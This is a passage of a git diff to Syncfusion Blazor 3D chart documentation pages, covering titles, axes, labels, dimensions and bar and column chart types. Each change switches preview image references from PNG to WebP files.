 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDBftnWBgwTPesmR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Title](images/appearance/blazor-column-chart-title-custom.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDBftnWBgwTPesmR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Title](images/appearance/blazor-column-chart-title-custom.webp)" %}
 
 ## Title alignment
 
@@ -501,7 +501,7 @@ The title can be aligned to the near, far, or center of the 3D chart by using th
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXVzXdiBKwdsnLib?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Title with Text Alignment](images/appearance/blazor-column-chart-title-alignment.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXVzXdiBKwdsnLib?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Title with Text Alignment](images/appearance/blazor-column-chart-title-alignment.webp)" %}
 
 ### Title customization
 
@@ -544,7 +544,7 @@ The `TitleStyle` property of the 3D chart provides options to customize the titl
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjBzDHirqQwNwVvM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Title with Customization](images/appearance/blazor-column-chart-title-with-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjBzDHirqQwNwVvM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Title with Customization](images/appearance/blazor-column-chart-title-with-customization.webp)" %}
 
 N> The chart components do not use any CSS style for customization; chart elements like axis labels, datalabel, background, series palette, legend text, and tooltip text can be customized by using the `Chart3DAxisLabelStyle`, `Chart3DDataLabelFont`, `BackGround`, `Palettes`, `Chart3DLegendTextStyle`, and `Chart3DTooltipTextStyle`, respectively.
 
diff --git a/blazor/3D-chart/axis-customization.md b/blazor/3D-chart/axis-customization.md
index 6f413fbfbb..06b01093a0 100644
--- a/blazor/3D-chart/axis-customization.md
+++ b/blazor/3D-chart/axis-customization.md
@@ -50,7 +50,7 @@ The title for the axis can be added by using the `Title` property. It helps to p
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXhJDdChpXSmCYrG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Axis Title](images/axis-customization/blazor-column-chart-axis-title.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXhJDdChpXSmCYrG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Axis Title](images/axis-customization/blazor-column-chart-axis-title.webp)" %}
 
 ## Title rotation
 
@@ -92,7 +92,7 @@ The title can be rotated from 0 to 360 degree by using the `TitleRotationAngle`
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjLJXdWBfZniAVZI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Axis Title Rotation](images/axis-customization/blazor-column-chart-axis-title-rotation.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjLJXdWBfZniAVZI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Axis Title Rotation](images/axis-customization/blazor-column-chart-axis-title-rotation.webp)" %}
 
 ## Tick lines customization
 
@@ -133,7 +133,7 @@ The width, color, and height of the minor and major tick lines can be custo
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjLJtxChftnfOPTu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Tick Lines](images/axis-customization/blazor-column-chart-custom-tick-lines.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjLJtxChftnfOPTu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Tick Lines](images/axis-customization/blazor-column-chart-custom-tick-lines.webp)" %}
 
 ## Grid lines customization
 
@@ -174,7 +174,7 @@ The width and color of the minor and major grid lines can be customized by usin
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZhzjxWLJXbLjntW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom GridLines](images/axis-customization/blazor-column-chart-custom-gridline.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZhzjxWLJXbLjntW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom GridLines](images/axis-customization/blazor-column-chart-custom-gridline.webp)" %}
 
 ## Multiple Axis
 
@@ -218,7 +218,7 @@ In addition to primary X and Y axis, n number of axis can be added to the chart.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNhTDxirztleaKrC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Column Chart with Multiple Axes](images/axis-customization/blazor-column-chart-multiple-axes.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNhTDxirztleaKrC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Column Chart with Multiple Axes](images/axis-customization/blazor-column-chart-multiple-axes.webp)" %}
 
 ## Inversed Axis
 
@@ -259,7 +259,7 @@ When an axis is inversed, highest value of the axis comes closer to origin and v
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDrJjxWLpXlYDizR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Inversed Axis](images/axis-customization/blazor-column-chart-inversed-axis.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDrJjxWLpXlYDizR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Inversed Axis](images/axis-customization/blazor-column-chart-inversed-axis.webp)" %}
 
 ## Opposed position
 
@@ -299,5 +299,5 @@ To place an axis opposite from its original position, set the `OpposedPosition`
 } 
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBzZHWhJZuVFHfl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Axis in Opposed Position](images/axis-customization/blazor-column-chart-axis-at-opposed-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBzZHWhJZuVFHfl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Axis in Opposed Position](images/axis-customization/blazor-column-chart-axis-at-opposed-position.webp)" %}
 
diff --git a/blazor/3D-chart/axis-labels.md b/blazor/3D-chart/axis-labels.md
index 6a6995722c..eefe8aacb6 100644
--- a/blazor/3D-chart/axis-labels.md
+++ b/blazor/3D-chart/axis-labels.md
@@ -55,7 +55,7 @@ When the axis labels overlap with each other, `LabelIntersectAction` property i
 
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BtBTDnMVpitELVMq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Hiding Smart Axis Label in Blazor Column 3D Chart](images/axis-labels/blazor-column-chart-hide-smart-axis-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BtBTDnMVpitELVMq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Hiding Smart Axis Label in Blazor Column 3D Chart](images/axis-labels/blazor-column-chart-hide-smart-axis-label.webp)" %}
 
 **Case 2:** When setting `LabelIntersectAction` as **Rotate45**.
 
@@ -96,7 +96,7 @@ When the axis labels overlap with each other, `LabelIntersectAction` property i
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXLptnWBJMsfXNjH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Smart Axis Label in Rotate45](images/axis-labels/blazor-column-chart-axis-label-in-rotate45.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXLptnWBJMsfXNjH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Smart Axis Label in Rotate45](images/axis-labels/blazor-column-chart-axis-label-in-rotate45.webp)" %}
 
 **Case 3:** When setting `LabelIntersectAction` as **Rotate90**.
 
@@ -137,7 +137,7 @@ When the axis labels overlap with each other, `LabelIntersectAction` property i
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBJjnsLJMrjzDrD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Smart Axis Label in Rotate90](images/axis-labels/blazor-column-chart-axis-label-in-rotate90.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBJjnsLJMrjzDrD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Smart Axis Label in Rotate90](images/axis-labels/blazor-column-chart-axis-label-in-rotate90.webp)" %}
 
 ## Edge label placement
 
@@ -179,7 +179,7 @@ use the `EdgeLabelPlacement` property in axis, which moves the label inside t
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVpDnsLTsLcphWe?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Displaying Blazor Chart Axis Label in Edge Position](images/axis-labels/blazor-chart-axis-label-in-edge.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVpDnsLTsLcphWe?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Displaying Blazor Chart Axis Label in Edge Position](images/axis-labels/blazor-chart-axis-label-in-edge.webp)" %}
 
 ## Maximum labels
 
diff --git a/blazor/3D-chart/category-axis.md b/blazor/3D-chart/category-axis.md
index 9bc25be6e5..3bfb36e032 100644
--- a/blazor/3D-chart/category-axis.md
+++ b/blazor/3D-chart/category-axis.md
@@ -46,7 +46,7 @@ The category axis is the horizontal axis of a 3D chart that shows text values ra
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNhTZdMLTMTKyfTL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Default Axis](images/category-axis/blazor-chart-default-axis.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNhTZdMLTMTKyfTL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Default Axis](images/category-axis/blazor-chart-default-axis.webp)" %}
 
 ## Labels placement
 
@@ -87,7 +87,7 @@ By default, category axis labels are placed between ticks in an axis. It can als
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjLJjHsLTWRHhqRc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Labels Position in Blazor 3D Chart](images/category-axis/blazor-diagram-label-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjLJjHsLTWRHhqRc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Labels Position in Blazor 3D Chart](images/category-axis/blazor-diagram-label-position.webp)" %}
 
 ## Range
 
@@ -128,7 +128,7 @@ The range of the category axis can be customized using `Minimum`, `Maximum`, and
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDBfNxMLficgvSbx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column 3D Chart Axis based on Range and Interval](images/category-axis/blazor-chart-axis-range-and-interval.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDBfNxMLficgvSbx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column 3D Chart Axis based on Range and Interval](images/category-axis/blazor-chart-axis-range-and-interval.webp)" %}
 
 ## Indexed category axis
 
@@ -176,4 +176,4 @@ The category axis can also be rendered based on the index values of the data sou
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXBTjniVJWQPizAl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart with Indexed Category Axis](images/category-axis/blazor-chart-index-category-axis.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXBTjniVJWQPizAl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart with Indexed Category Axis](images/category-axis/blazor-chart-index-category-axis.webp)" %}
diff --git a/blazor/3D-chart/chart-dimensions.md b/blazor/3D-chart/chart-dimensions.md
index 185383d064..eb3b6e8119 100644
--- a/blazor/3D-chart/chart-dimensions.md
+++ b/blazor/3D-chart/chart-dimensions.md
@@ -49,7 +49,7 @@ The 3D chart can be rendered to its container size and it can be set via inline
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtrJtdsrpsPezXYL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor 3D Chart Size as Fit to Container](images/chart-dimensions/blazor-chart-size-for-container.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtrJtdsrpsPezXYL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor 3D Chart Size as Fit to Container](images/chart-dimensions/blazor-chart-size-for-container.webp)" %}
 
 ## Size for chart
 
@@ -93,7 +93,7 @@ The size of the 3D chart can be set in pixel as demonstrated below.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLTZdCrpWvYfGmi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor 3D Chart Size in Pixel](images/chart-dimensions/blazor-chart-size-in-pixel.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLTZdCrpWvYfGmi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor 3D Chart Size in Pixel](images/chart-dimensions/blazor-chart-size-in-pixel.webp)" %}
 
 ### In Percentage
 
@@ -133,4 +133,4 @@ By setting the value in percentage, the 3D Chart gets its dimension with respec
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDVJDxMrpsargarf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor 3D Chart Size in Percentage](images/chart-dimensions/blazor-chart-size-in-percentage.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDVJDxMrpsargarf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor 3D Chart Size in Percentage](images/chart-dimensions/blazor-chart-size-in-percentage.webp)" %}
diff --git a/blazor/3D-chart/chart-types/bar.md b/blazor/3D-chart/chart-types/bar.md
index 3f0b599997..f5f1296644 100644
--- a/blazor/3D-chart/chart-types/bar.md
+++ b/blazor/3D-chart/chart-types/bar.md
@@ -48,7 +48,7 @@ To render a bar series, set series `Type` as `Bar`.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNhJXxsKslDavsMW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bar 3D Chart](../images/chart-types-images/blazor-bar-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNhJXxsKslDavsMW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bar 3D Chart](../images/chart-types-images/blazor-bar-chart.webp)" %}
 
 ## Bar space and width
 
@@ -90,7 +90,7 @@ The `ColumnSpacing` and `ColumnWidth` properties are used to customize the space
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhTXHMgilipfRPo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bar 3D Chart with Space and Width](../images/chart-types-images/blazor-bar-chart-space-and-width.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhTXHMgilipfRPo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bar 3D Chart with Space and Width](../images/chart-types-images/blazor-bar-chart-space-and-width.webp)" %}
 
 ## Grouped bar
 
@@ -131,7 +131,7 @@ The data points can be grouped in the bar type charts by using the `GroupName` p
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/htLfZRMUMlsmhOBI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping in Blazor Grouped Bar 3D Chart](../images/chart-types-images/blazor-column-chart-grouped-bar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/htLfZRMUMlsmhOBI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping in Blazor Grouped Bar 3D Chart](../images/chart-types-images/blazor-column-chart-grouped-bar.webp)" %}
 
 ## Cylindrical column chart
 
@@ -170,7 +170,7 @@ To render a cylindrical column chart, set the `ColumnFacet` property to `Cylinde
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBfDdMAilBDiXzS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Cylindrical Bar 3D Chart](../images/chart-types-images/blazor-cylindricaal-bar-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBfDdMAilBDiXzS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Cylindrical Bar 3D Chart](../images/chart-types-images/blazor-cylindricaal-bar-chart.webp)" %}
 
 ## Series customization
 
@@ -214,4 +214,4 @@ The following properties can be used to customize the `Bar` series.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZBTZdMKWvrLOzmq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bar 3D Chart with Custom Series](../images/chart-types-images/blazor-bar-chart-custom-series.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZBTZdMKWvrLOzmq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bar 3D Chart with Custom Series](../images/chart-types-images/blazor-bar-chart-custom-series.webp)" %}
diff --git a/blazor/3D-chart/chart-types/column.md b/blazor/3D-chart/chart-types/column.md
index 8af2227daf..f3dfad4ef4 100644
--- a/blazor/3D-chart/chart-types/column.md
+++ b/blazor/3D-chart/chart-types/column.md
@@ -49,7 +49,7 @@ To render a `Column Chart`, use series `Type` as `Column`.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNLpNRCqCFqsFuka?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart](../images/chart-types-images/blazor-column-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNLpNRCqCFqsFuka?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart](../images/chart-types-images/blazor-column-chart.webp)" %}
 
 ## Column space and width
 
@@ -91,7 +91,7 @@ The `ColumnSpacing` and `ColumnWidth` properties are used to customize the space
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhTZxMgMPqSWDMz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Space and Width](../images/chart-types-images/blazor-column-chart-space-and-width.png) %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhTZxMgMPqSWDMz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Space and Width](../images/chart-types-images/blazor-column-chart-space-and-width.webp) %}
 
 ## Grouped column
 
@@ -132,7 +132,7 @@ The data points can be grouped in the column type charts by using the `GroupName
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BthTjHsUWvUFSkhR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping in Blazor Grouped Column 3D Chart](../images/chart-types-images/blazor-column-chart-grouped-column.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BthTjHsUWvUFSkhR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping in Blazor Grouped Column 3D Chart](../images/chart-types-images/blazor-column-chart-grouped-column.webp)" %}
 
 ## Cylindrical column chart
 
@@ -170,7 +170,7 @@ To render a cylindrical column chart, set the `ColumnFacet` property to `Cylinde
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BtBJNxiAslpiKcOw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Cylindrical Column 3D Chart](../images/chart-types-images/blazor-cylindricaal-column-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BtBJNxiAslpiKcOw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Cylindrical Column 3D Chart](../images/chart-types-images/blazor-cylindricaal-column-chart.webp)" %}
 
 ## Series customization
 
@@ -214,4 +214,4 @@ The following properties can be used to customize the `Column` series.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VthztRMgWFpfyYWl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Series](../images/chart-types-images/blazor-column-chart-custom-series.png) %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VthztRMgWFpfyYWl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Series](../images/chart-types-images/blazor-column-chart-custom-series.webp) %}
diff --git a/blazor/3D-chart/chart-types/stack-bar.md b/blazor/3D-chart/chart-types/stack-bar.md
index a75838e6ea..ed450559fd 100644
--- a/blazor/3D-chart/chart-types/stack-bar.md
+++ b/blazor/3D-chart/chart-types/stack-bar.md
@@ -50,7 +50,7 @@ To render a `100% Stacked Bar Chart` series, use series `Type` as `StackingBar10
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjLTtxCUBNtIGBRY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Bar100 3D Chart](../images/chart-types-images/blazor-stacked-bar-100-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LjLTtxCUBNtIGBRY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Bar100 3D Chart](../images/chart-types-images/blazor-stacked-bar-100-chart.webp)" %}
 
 ## 100% Cylindrical Stacked Bar chart
 
@@ -93,7 +93,7 @@ To render a 100% cylindrical Stacked Bar chart, set the `ColumnFacet`  property
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBTtdiqrXMpthaU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Cylindrical Column100 3D Chart](../images/chart-types-images/blazor-cylindricaal-stacked-bar-100-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBTtdiqrXMpthaU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Cylindrical Column100 3D Chart](../images/chart-types-images/blazor-cylindricaal-stacked-bar-100-chart.webp)" %}
 
 ## Series customization
 
@@ -139,4 +139,4 @@ The following properties can be used to customize the `100% Stacked Bar` series.
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrJNnsqhNsRoHio?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Bar100 3D Chart with Custom Series](../images/chart-types-images/blazor-stacked-bar-100-chart-custom-series.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrJNnsqhNsRoHio?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Bar100 3D Chart with Custom Series](../images/chart-types-images/blazor-stacked-bar-100-chart-custom-series.webp)" %}
diff --git a/blazor/3D-chart/chart-types/stack-column.md b/blazor/3D-chart/chart-types/stack-column.md
index 997e6e7ebf..9f98af82ff 100644
--- a/blazor/3D-chart/chart-types/stack-column.md
+++ b/blazor/3D-chart/chart-types/stack-column.md
@@ -48,7 +48,7 @@ To render a `100% Stacked Column Chart` series, use series `Type` as `StackingCo
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDLfjRsqLXBJrLXe?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Column100 3D Chart](../images/chart-types-images/blazor-stacked-column-100-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDLfjRsqLXBJrLXe?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Column100 3D Chart](../images/chart-types-images/blazor-stacked-column-100-chart.webp)" %}
 
 ## 100% Cylindrical stacked column chart
 
@@ -91,7 +91,7 @@ To render a 100% cylindrical stacked column chart, set the `ColumnFacet` propert
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVzjnCAhNBGdkGQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Cylindrical Column100 3D Chart](../images/chart-types-images/blazor-cylindricaal-stacked-column-100-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVzjnCAhNBGdkGQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Cylindrical Column100 3D Chart](../images/chart-types-images/blazor-cylindricaal-stacked-column-100-chart.webp)" %}
 
 ## Series customization
 
@@ -137,4 +137,4 @@ The following properties can be used to customize the `100% Stacked Column` seri
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDhptHsKBjUZKwWE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Column100 3D Chart with Custom Series](../images/chart-types-images/blazor-stacked-column-100-chart-custom-series.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDhptHsKBjUZKwWE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Column100 3D Chart with Custom Series](../images/chart-types-images/blazor-stacked-column-100-chart-custom-series.webp)" %}
diff --git a/blazor/3D-chart/chart-types/stacked-bar.md b/blazor/3D-chart/chart-types/stacked-bar.md
index 46e01c6a0a..87999e782d 100644
--- a/blazor/3D-chart/chart-types/stacked-bar.md
+++ b/blazor/3D-chart/chart-types/stacked-bar.md
@@ -50,7 +50,7 @@ To render a stacked bar series, use series `Type` as `StackingBar`.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrfNHMgVDXktKyD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Bar 3D Chart](../images/chart-types-images/blazor-stacked-Bar-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrfNHMgVDXktKyD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Bar 3D Chart](../images/chart-types-images/blazor-stacked-Bar-chart.webp)" %}
 
 ## Stacking group
 
@@ -93,7 +93,7 @@ To group the stacked bar, the `StackingGroup` property can be used. The columns
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNVpZnsgsuHovTcn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping in Blazor Stacked Bar 3D Chart](../images/chart-types-images/blazor-stacked-bar-chart-with-grouping.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNVpZnsgsuHovTcn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping in Blazor Stacked Bar 3D Chart](../images/chart-types-images/blazor-stacked-bar-chart-with-grouping.webp)" %}
 
 ## Cylindrical column chart
 
@@ -136,7 +136,7 @@ To render a cylindrical stacked bar chart, set the `ColumnFacet` property to `Cy
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNLzjRCgiamCLrWZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Cylindrical Bar 3D Chart](../images/chart-types-images/blazor-cylindricaal-stacked-bar-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNLzjRCgiamCLrWZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Cylindrical Bar 3D Chart](../images/chart-types-images/blazor-cylindricaal-stacked-bar-chart.webp)" %}
 
 ## Series customization
 
@@ -182,4 +182,4 @@ The following properties can be used to customize the `Stacked Bar` series.
 }
 
 ``` 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtVpDnMqCYcOWHOq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stacked Bar 3D Chart with Custom Series](../images/chart-types-images/blazor-stacked-bar-chart-custom-series.png)" %}
